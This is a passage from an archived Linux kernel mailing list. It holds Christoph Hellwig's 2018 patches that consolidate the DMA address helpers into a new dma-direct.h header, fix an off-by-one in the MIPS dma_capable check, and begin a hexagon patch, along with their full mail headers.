+#include <linux/dma-direct.h>
 #include <linux/dma-contiguous.h>
 #include <linux/vmalloc.h>
 #include <linux/swiotlb.h>
diff --git a/arch/ia64/include/asm/dma-mapping.h b/arch/ia64/include/asm/dma-mapping.h
index c1bab526a046..eabee56d995c 100644
--- a/arch/ia64/include/asm/dma-mapping.h
+++ b/arch/ia64/include/asm/dma-mapping.h
@@ -27,22 +27,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return platform_dma_get_ops(NULL);
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-
 #endif /* _ASM_IA64_DMA_MAPPING_H */
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 350a990fc719..4b0c26b2e9b7 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -429,6 +429,7 @@ config MACH_LOONGSON32
 
 config MACH_LOONGSON64
 	bool "Loongson-2/3 family of machines"
+	select ARCH_HAS_PHYS_TO_DMA
 	select SYS_SUPPORTS_ZBOOT
 	help
 	  This enables the support of Loongson-2/3 family of machines.
@@ -877,6 +878,7 @@ config MIKROTIK_RB532
 config CAVIUM_OCTEON_SOC
 	bool "Cavium Networks Octeon SoC based boards"
 	select CEVT_R4K
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_PHYS_ADDR_T_64BIT
 	select DMA_COHERENT
 	select SYS_SUPPORTS_64BIT_KERNEL
diff --git a/arch/mips/include/asm/dma-direct.h b/arch/mips/include/asm/dma-direct.h
new file mode 100644
index 000000000000..f32f15530aba
--- /dev/null
+++ b/arch/mips/include/asm/dma-direct.h
@@ -0,0 +1 @@
+#include <asm/dma-coherence.h>
diff --git a/arch/mips/include/asm/dma-mapping.h b/arch/mips/include/asm/dma-mapping.h
index 5c334ac15945..676c14cfc580 100644
--- a/arch/mips/include/asm/dma-mapping.h
+++ b/arch/mips/include/asm/dma-mapping.h
@@ -17,14 +17,6 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return mips_dma_map_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
 #define arch_setup_dma_ops arch_setup_dma_ops
diff --git a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
index 9110988b92a1..138edf6b5b48 100644
--- a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
+++ b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
@@ -61,6 +61,14 @@ static inline void plat_post_dma_flush(struct device *dev)
 {
 }
 
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+
 dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
 phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
 
diff --git a/arch/mips/include/asm/mach-generic/dma-coherence.h b/arch/mips/include/asm/mach-generic/dma-coherence.h
index 61addb1677e9..8ad7a40ca786 100644
--- a/arch/mips/include/asm/mach-generic/dma-coherence.h
+++ b/arch/mips/include/asm/mach-generic/dma-coherence.h
@@ -70,16 +70,4 @@ static inline void plat_post_dma_flush(struct device *dev)
 }
 #endif
 
-#ifdef CONFIG_SWIOTLB
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-#endif
-
 #endif /* __ASM_MACH_GENERIC_DMA_COHERENCE_H */
diff --git a/arch/mips/include/asm/mach-loongson64/dma-coherence.h b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
index 1602a9e9e8c2..b1b575f5c6c1 100644
--- a/arch/mips/include/asm/mach-loongson64/dma-coherence.h
+++ b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
@@ -17,6 +17,14 @@
 
 struct device;
 
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+
 extern dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
 extern phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
 static inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr,
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index c51e6ce42e7a..887285eb684a 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -139,6 +139,7 @@ config PPC
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_FORTIFY_SOURCE
 	select ARCH_HAS_GCOV_PROFILE_ALL
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_PMEM_API                if PPC64
 	select ARCH_HAS_SCALED_CPUTIME		if VIRT_CPU_ACCOUNTING_NATIVE
 	select ARCH_HAS_SG_CHAIN
diff --git a/arch/powerpc/include/asm/dma-direct.h b/arch/powerpc/include/asm/dma-direct.h
new file mode 100644
index 000000000000..a5b59c765426
--- /dev/null
+++ b/arch/powerpc/include/asm/dma-direct.h
@@ -0,0 +1,29 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef ASM_POWERPC_DMA_DIRECT_H
+#define ASM_POWERPC_DMA_DIRECT_H 1
+
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+#ifdef CONFIG_SWIOTLB
+	struct dev_archdata *sd = &dev->archdata;
+
+	if (sd->max_direct_dma_addr && addr + size > sd->max_direct_dma_addr)
+		return false;
+#endif
+
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	return paddr + get_dma_offset(dev);
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
+{
+	return daddr - get_dma_offset(dev);
+}
+#endif /* ASM_POWERPC_DMA_DIRECT_H */
diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index 592c7f418aa0..f6ab51205a85 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -112,31 +112,6 @@ extern int dma_set_mask(struct device *dev, u64 dma_mask);
 
 extern u64 __dma_get_required_mask(struct device *dev);
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-#ifdef CONFIG_SWIOTLB
-	struct dev_archdata *sd = &dev->archdata;
-
-	if (sd->max_direct_dma_addr && addr + size > sd->max_direct_dma_addr)
-		return false;
-#endif
-
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr + get_dma_offset(dev);
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr - get_dma_offset(dev);
-}
-
 #define ARCH_HAS_DMA_MMAP_COHERENT
 
 #endif /* __KERNEL__ */
diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index 97ad62878290..75b8aaa4e70b 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -44,26 +44,8 @@ static inline void set_dma_offset(struct device *dev, dma_addr_t off)
 	dev->archdata.dma_offset = off;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #define HAVE_ARCH_DMA_SET_MASK 1
 int dma_set_mask(struct device *dev, u64 mask);
 
diff --git a/arch/unicore32/include/asm/dma-mapping.h b/arch/unicore32/include/asm/dma-mapping.h
index ac608c2f6af6..5cb250bf2d8c 100644
--- a/arch/unicore32/include/asm/dma-mapping.h
+++ b/arch/unicore32/include/asm/dma-mapping.h
@@ -25,24 +25,6 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &swiotlb_dma_map_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (dev && dev->dma_mask)
-		return addr + size - 1 <= *dev->dma_mask;
-
-	return 1;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
 #endif /* __KERNEL__ */
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index d4fc98c50378..f6f4328103c0 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -54,6 +54,7 @@ config X86
 	select ARCH_HAS_FORTIFY_SOURCE
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_KCOV			if X86_64
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_PMEM_API		if X86_64
 	# Causing hangs/crashes, see the commit that added this change for details.
 	select ARCH_HAS_REFCOUNT
diff --git a/arch/x86/include/asm/dma-direct.h b/arch/x86/include/asm/dma-direct.h
new file mode 100644
index 000000000000..1295bc622ebe
--- /dev/null
+++ b/arch/x86/include/asm/dma-direct.h
@@ -0,0 +1,30 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef ASM_X86_DMA_DIRECT_H
+#define ASM_X86_DMA_DIRECT_H 1
+
+#include <linux/mem_encrypt.h>
+
+#ifdef CONFIG_X86_DMA_REMAP /* Platform code defines bridge-specific code */
+bool dma_capable(struct device *dev, dma_addr_t addr, size_t size);
+dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
+phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
+#else
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return 0;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	return __sme_set(paddr);
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
+{
+	return __sme_clr(daddr);
+}
+#endif /* CONFIG_X86_DMA_REMAP */
+#endif /* ASM_X86_DMA_DIRECT_H */
diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index 0350d99bb8fd..dfdc9357a349 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -12,7 +12,6 @@
 #include <asm/io.h>
 #include <asm/swiotlb.h>
 #include <linux/dma-contiguous.h>
-#include <linux/mem_encrypt.h>
 
 #ifdef CONFIG_ISA
 # define ISA_DMA_BIT_MASK DMA_BIT_MASK(24)
@@ -42,31 +41,6 @@ extern void dma_generic_free_coherent(struct device *dev, size_t size,
 				      void *vaddr, dma_addr_t dma_addr,
 				      unsigned long attrs);
 
-#ifdef CONFIG_X86_DMA_REMAP /* Platform code defines bridge-specific code */
-extern bool dma_capable(struct device *dev, dma_addr_t addr, size_t size);
-extern dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
-extern phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
-#else
-
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return __sme_set(paddr);
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return __sme_clr(daddr);
-}
-#endif /* CONFIG_X86_DMA_REMAP */
-
 static inline unsigned long dma_alloc_coherent_mask(struct device *dev,
 						    gfp_t gfp)
 {
diff --git a/arch/x86/kernel/amd_gart_64.c b/arch/x86/kernel/amd_gart_64.c
index cc0e8bc0ea3f..ecd486cb06ab 100644
--- a/arch/x86/kernel/amd_gart_64.c
+++ b/arch/x86/kernel/amd_gart_64.c
@@ -31,6 +31,7 @@
 #include <linux/io.h>
 #include <linux/gfp.h>
 #include <linux/atomic.h>
+#include <linux/dma-direct.h>
 #include <asm/mtrr.h>
 #include <asm/pgtable.h>
 #include <asm/proto.h>
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 599d7462eccc..8439e6de6156 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -1,5 +1,5 @@
 // SPDX-License-Identifier: GPL-2.0
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/dma-debug.h>
 #include <linux/dmar.h>
 #include <linux/export.h>
diff --git a/arch/x86/kernel/pci-nommu.c b/arch/x86/kernel/pci-nommu.c
index b0caae27e1b7..618285e475c6 100644
--- a/arch/x86/kernel/pci-nommu.c
+++ b/arch/x86/kernel/pci-nommu.c
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0
 /* Fallback functions when the main IOMMU code is not compiled in. This
    code is roughly equivalent to i386. */
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
 #include <linux/string.h>
 #include <linux/gfp.h>
diff --git a/arch/x86/kernel/pci-swiotlb.c b/arch/x86/kernel/pci-swiotlb.c
index 53bd05ea90d8..9d3e35c33d94 100644
--- a/arch/x86/kernel/pci-swiotlb.c
+++ b/arch/x86/kernel/pci-swiotlb.c
@@ -6,7 +6,7 @@
 #include <linux/init.h>
 #include <linux/swiotlb.h>
 #include <linux/bootmem.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/mem_encrypt.h>
 
 #include <asm/iommu.h>
diff --git a/arch/x86/mm/mem_encrypt.c b/arch/x86/mm/mem_encrypt.c
index 391b13402e40..09532c935da0 100644
--- a/arch/x86/mm/mem_encrypt.c
+++ b/arch/x86/mm/mem_encrypt.c
@@ -15,7 +15,7 @@
 #include <linux/linkage.h>
 #include <linux/init.h>
 #include <linux/mm.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/swiotlb.h>
 #include <linux/mem_encrypt.h>
 
diff --git a/arch/x86/pci/sta2x11-fixup.c b/arch/x86/pci/sta2x11-fixup.c
index 53d600217973..75577c1490c4 100644
--- a/arch/x86/pci/sta2x11-fixup.c
+++ b/arch/x86/pci/sta2x11-fixup.c
@@ -26,6 +26,7 @@
 #include <linux/pci_ids.h>
 #include <linux/export.h>
 #include <linux/list.h>
+#include <linux/dma-direct.h>
 #include <asm/iommu.h>
 
 #define STA2X11_SWIOTLB_SIZE (4*1024*1024)
diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
index 153bf2370988..44098800dad7 100644
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ b/arch/xtensa/include/asm/dma-mapping.h
@@ -23,14 +23,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &xtensa_dma_map_ops;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return (dma_addr_t)paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return (phys_addr_t)daddr;
-}
-
 #endif	/* _XTENSA_DMA_MAPPING_H */
diff --git a/drivers/crypto/marvell/cesa.c b/drivers/crypto/marvell/cesa.c
index 293832488cc9..3a0c40081ffb 100644
--- a/drivers/crypto/marvell/cesa.c
+++ b/drivers/crypto/marvell/cesa.c
@@ -24,6 +24,7 @@
 #include <linux/scatterlist.h>
 #include <linux/slab.h>
 #include <linux/module.h>
+#include <linux/dma-direct.h> /* XXX: drivers shall never use this directly! */
 #include <linux/clk.h>
 #include <linux/of.h>
 #include <linux/of_platform.h>
diff --git a/drivers/mtd/nand/qcom_nandc.c b/drivers/mtd/nand/qcom_nandc.c
index 2656c1ac5646..411cdfd12a85 100644
--- a/drivers/mtd/nand/qcom_nandc.c
+++ b/drivers/mtd/nand/qcom_nandc.c
@@ -23,6 +23,7 @@
 #include <linux/of_device.h>
 #include <linux/delay.h>
 #include <linux/dma/qcom_bam_dma.h>
+#include <linux/dma-direct.h> /* XXX: drivers shall never use this directly! */
 
 /* NANDc reg offsets */
 #define	NAND_FLASH_CMD			0x00
diff --git a/drivers/xen/swiotlb-xen.c b/drivers/xen/swiotlb-xen.c
index 82fc54f8eb77..5bb72d3f8337 100644
--- a/drivers/xen/swiotlb-xen.c
+++ b/drivers/xen/swiotlb-xen.c
@@ -36,7 +36,7 @@
 #define pr_fmt(fmt) "xen:" KBUILD_MODNAME ": " fmt
 
 #include <linux/bootmem.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/export.h>
 #include <xen/swiotlb-xen.h>
 #include <xen/page.h>
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
new file mode 100644
index 000000000000..2cc1b6558944
--- /dev/null
+++ b/include/linux/dma-direct.h
@@ -0,0 +1,32 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_DMA_DIRECT_H
+#define _LINUX_DMA_DIRECT_H 1
+
+#include <linux/dma-mapping.h>
+
+#ifdef CONFIG_ARCH_HAS_PHYS_TO_DMA
+#include <asm/dma-direct.h>
+#else
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	dma_addr_t dev_addr = (dma_addr_t)paddr;
+
+	return dev_addr - ((dma_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
+{
+	phys_addr_t paddr = (phys_addr_t)dev_addr;
+
+	return paddr + ((phys_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
+}
+
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+#endif /* !CONFIG_ARCH_HAS_PHYS_TO_DMA */
+#endif /* _LINUX_DMA_DIRECT_H */
diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index cea19aaf303c..6583f3512386 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -18,7 +18,7 @@
  */
 
 #include <linux/cache.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/mm.h>
 #include <linux/export.h>
 #include <linux/spinlock.h>
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 11/34] mips: fix an off-by-one in dma_capable
Date: Fri, 12 Jan 2018 09:42:09 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20180112084232.2857-12-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746496 6027 195.159.176.226 (12 Jan 2018 08:41:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:36 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Jan 12 09:41:30 2018
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eZutu-0007w8-3q
	for glps-linuxsh-dev@m.gmane.org; Fri, 12 Jan 2018 09:41:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933465AbeALInY (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:24 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:45915 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754460AbeALInQ (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 12 Jan 2018 03:43:16 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=5S/szAHTUmmJn1Co90q5LcSgooOG8CSifcz4IuEw/Nc=; b=ekCljsUy7bO+hS42MoLrZuEey
        nBM9CxMp9/HtPKpJDWHogMWriuehafZU8An6JZUGGQPsFJj50c07QnUA59Tx3BxnkJKS8TvAE/Le/
        elXUFzUsOO43O2qvLFqnCgaumSNMaj62ly+vgRnDO56TkVysqB7NTKKXvmEHco8SArhiEsdQnjRMT
        COQOBmE0bOunxquDrtH/jqyTA+miahf4cNl+Wm1JG0kybtxU/Z4Si0Q/ajvVga0TxcBIgAgq+yxW3
        jiwFbl6qpZZpRO9DntsI5GOxyUGqb/PnthzYAZ93kE3yQx6mZVz6DbwoagUl6OWN/N31o0QccYBWp
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuvf-0007eh-MD; Fri, 12 Jan 2018 08:43:12 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56298 gmane.linux.kernel.iommu:22153 gmane.linux.ports.alpha:4736 gmane.linux.kernel.arc:3346 gmane.linux.ports.arm.kernel:625652 gmane.linux.ports.hexagon:1562 gmane.linux.ports.ia64:28597 gmane.linux.kernel.metag:1639 gmane.linux.ports.mips.general:63294 gmane.linux.ports.parisc:28239 gmane.linux.ports.ppc64.devel:152021 gmane.linux.ports.sparc:27247 gmane.linux.kernel.cross-arch:41455 gmane.linux.kernel:2665085
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56298>

This makes it match the generic version.

Reported-by: Vladimir Murzin <vladimir.murzin@arm.com>
Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/mips/include/asm/dma-mapping.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/mips/include/asm/dma-mapping.h b/arch/mips/include/asm/dma-mapping.h
index 0d9418d264f9..5c334ac15945 100644
--- a/arch/mips/include/asm/dma-mapping.h
+++ b/arch/mips/include/asm/dma-mapping.h
@@ -22,7 +22,7 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 	if (!dev->dma_mask)
 		return false;
 
-	return addr + size <= *dev->dma_mask;
+	return addr + size - 1 <= *dev->dma_mask;
 }
 
 static inline void dma_mark_clean(void *addr, size_t size) {}
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 14/34] hexagon: use the generic dma_capable helper
Date: Fri, 12 Jan 2018 09:42:12 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20180112084232.2857-15-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746500 6833 195.159.176.226 (12 Jan 2018 08:41:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:40 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 12 09:41:34 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eZuu4-0007w8-H2
	for glpp-linux-parisc@m.gmane.org; Fri, 12 Jan 2018 09:41:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933674AbeALInf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:35 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:35345 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933499AbeALIn3 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 12 Jan 2018 03:43:29 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=g66mz7JWNM7HqT5Rp4bgxItPcuROsnIHJLnwcB5Iq+4=; b=NxkwrISpfoEXgePcc9NEfcqZK
